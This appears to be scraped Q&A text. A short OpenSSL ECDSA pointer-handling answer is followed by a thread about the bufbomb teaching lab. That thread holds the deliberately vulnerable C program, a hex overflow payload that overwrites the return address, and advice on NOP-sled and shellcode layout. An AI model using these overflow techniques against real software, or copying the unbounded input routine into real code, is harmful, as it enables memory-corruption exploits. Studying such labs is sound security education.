i2d_ECDSA_SIG modifies its second argument, increasing it by the size of the signature. From ecdsa.h:
/** DER encode content of ECDSA_SIG object (note: this function modifies *pp
* (*pp += length of the DER encoded signature)).
* \param sig pointer to the ECDSA_SIG object
* \param pp pointer to a unsigned char pointer for the output or NULL
* \return the length of the DER encoded ECDSA_SIG object or 0
*/
int i2d_ECDSA_SIG(const ECDSA_SIG *sig, unsigned char **pp);
So you need to keep track of the original value of sig_bytes when you call i2d_ECDSA_SIG:
int sig_size = i2d_ECDSA_SIG(ec_sig, NULL);
unsigned char *sig_bytes = malloc(sig_size);
unsigned char *p;
memset(sig_bytes, 6, sig_size);
p = sig_bytes;
new_sig_size = i2d_ECDSA_SIG(_sig, &p);
// The value of p is now sig_bytes + sig_size, and the signature resides at sig_bytes
Output:
30 45 02 20 39 71 16 93 0C 28 2D 1F CB 71 16 6A
2D 06 72 81 20 CF 2E E5 CF 6C CD 4E 2D 82 2E 8E
0A E2 4A 30 02 21 00 9E 99 7D 47 18 A7 60 39 42
83 4F BD D2 2A 4B 85 6F C4 08 37 04 ED E6 20 33
CF 1A 77 CB 98 22 A9

bufbomb stack overflow failed

I'm using bufbomb.c to do some buffer overflow attack experimenting.
I successfully used gdb to debug the code. Howeverer; when I run the program directly, I get a "Segmentation fault (core dumped)" when I enter the characters to try the attack.
I used gcc (Ubuntu/Linaro 4.8.1-10ubuntu9) 4.8.1. to build the following.
//bufbomb.c
/* Bomb program that is solved using a buffer overflow attack */
#include <stdio.h>
#include <stdlib.h>
#include <ctype.h>
/* Like gets, except that characters are typed as pairs of hex digits.
Nondigit characters are ignored. Stops when encounters newline */
char *getxs(char *dest)
{
int c;
int even =1; /* Have read even number of digits */
int otherd =0; /* Other hex digit of pair */
char*sp = dest;
while ((c = getchar()) != EOF && c !='\n') {
if (isxdigit(c)) {
int val;
if ('0'<= c && c <='9')
val = c -'0';
else if ('A'<= c && c <='F')
val = c -'A'+10;
else
val = c -'a'+10;
if (even) {
otherd = val;
even =0;
}
else {
*sp++= otherd *16+ val;
even =1;
}
}
}
*sp++='\0';
return dest;
}
/* $begin getbuf-c */
int getbuf()
{
char buf[12];
getxs(buf);
return 1;
}
void test()
{
int val;
printf("Type Hex string:");
val = getbuf();
printf("getbuf returned 0x%x\n", val);
}
/* $end getbuf-c */
int main()
{
int buf[16];
/* This little hack is an attempt to get the stack to be in a
stable position
*/
int offset = (((int) buf) &0xFFF);
int*space = (int*) alloca(offset);
*space =0; /* So that don't get complaint of unused variable */
test();
return 0;
}
Then I executed it under gdb:
...> gdb ./bugbomb
...
..run
Type Hex string:30 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 37 38 39 d8 bf ff ff 9f 85 04 08 b0 86 04 08 30 31 32 33 30 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 37 38 39 ef be ad de
getbuf returned 0xdeadbeef
[Inferior 1 (process 13530) exited normally]
And then without gdb::
./bufbomb
Type Hex string:30 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 37 38 39 d8 bf ff ff 9f 85 04 08 b0 86 04 08 30 31 32 33 30 31 32 33 34 35 36 37 38 39 30 31 32 33 34 35 36 37 38 39 ef be ad de
Segmentation fault (core dumped)
I am looking for some help to resolve the seg-fault.
Run it under gdb with a bigger buffer to see which address it's trying to access to guess the stack offset of the return address used by getbuf().
To bear with small differences in memory offsets that arise from the use of gdb, use a NOP-sled. Your attack buffer should look like this:
|RET ADDRESS x 30 | NOPS (0x90) x 1000 | SHELLCODE|.
The return address should point to the middle of the NOP-sled.
If the execution jumps anywhere in the sled, it will slide to the shellcode.
You are accessing memory that your process doesn't "own".
When you run gdb, the compiler adds stuff (like extra debug info).
You can bypass the segmentation fault by expanding the stack before you attempt the buffer overflow:
int expand_stack(int n_bytes)
{
char buf[n_bytes];
return buf[n_bytes-1]; // access the memory to make sure the optimiser doesn't remove buf.
}
And in main, add a call to expand_stack before you call test:
int main()
{
int buf[16];
/* This little hack is an attempt to get the stack to be in a
stable position
*/
int offset = (((int) buf) &0xFFF);
int*space = (int*) alloca(offset);
*space = expand_stack(200);
test();
return 0;
}
Note that your code still invokes undefined behaviour.
Note2: If your compiler doesn't support variable length arrays, just use a fixed array, buf[200].

Resources